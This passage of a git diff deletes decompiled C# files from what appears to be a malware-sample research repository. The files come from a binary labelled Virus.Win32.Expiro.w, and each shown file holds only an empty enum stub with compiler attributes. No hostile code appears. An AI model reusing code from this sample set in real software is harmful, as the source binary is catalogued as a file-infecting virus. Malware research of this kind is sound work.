ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _TRANSACTION_OUTCOME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_STATE.cs deleted file mode 100644 index ea37b240..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRANSACTION_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTED_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTED_INFORMATION_CLASS.cs deleted file mode 100644 index 67280498..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTED_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTED_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRUSTED_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_FORM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_FORM.cs deleted file mode 100644 index ed9ed550..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_FORM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_FORM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TRUSTEE_FORM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_TYPE.cs deleted file mode 100644 index 075c9177..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TRUSTEE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_URLZONEREG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_URLZONEREG.cs deleted file mode 100644 index 78d83fad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_URLZONEREG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _URLZONEREG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _URLZONEREG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_USER_MARSHAL_CB_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_USER_MARSHAL_CB_TYPE.cs deleted file mode 100644 index fcf7431f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_USER_MARSHAL_CB_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _USER_MARSHAL_CB_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _USER_MARSHAL_CB_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_CHANGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_CHANGE.cs deleted file mode 100644 index 1e237c82..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_CHANGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_CHANGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _WRITE_CACHE_CHANGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_ENABLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_ENABLE.cs deleted file mode 100644 index 75087db9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_ENABLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_ENABLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _WRITE_CACHE_ENABLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_TYPE.cs deleted file mode 100644 index 33973128..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _WRITE_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_THROUGH.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_THROUGH.cs deleted file mode 100644 index fa3fc62b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_THROUGH.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_THROUGH -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _WRITE_THROUGH -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0001.cs deleted file mode 100644 index b0ddde85..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL_IBindStatusCallback_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0002.cs deleted file mode 100644 index 976c28d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0003.cs deleted file mode 100644 index 2e9c7af1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0004.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0004.cs deleted file mode 100644 index 005f2914..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0004.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0004 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0004 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0005.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0005.cs deleted file mode 100644 index 14190f08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0005 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0005 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0006.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0006.cs deleted file mode 100644 index 78215350..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0006.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0006 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0006 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_ICodeInstall_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_ICodeInstall_0001.cs deleted file mode 100644 index 2928da8c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_ICodeInstall_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_ICodeInstall_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_ICodeInstall_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0001.cs deleted file mode 100644 index 8c7b2434..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0002.cs deleted file mode 100644 index d3d592b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetSecurityManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0003.cs deleted file mode 100644 index ba3c5310..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0001.cs deleted file mode 100644 index 576cf662..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetZoneManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0002.cs deleted file mode 100644 index face0b0e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, 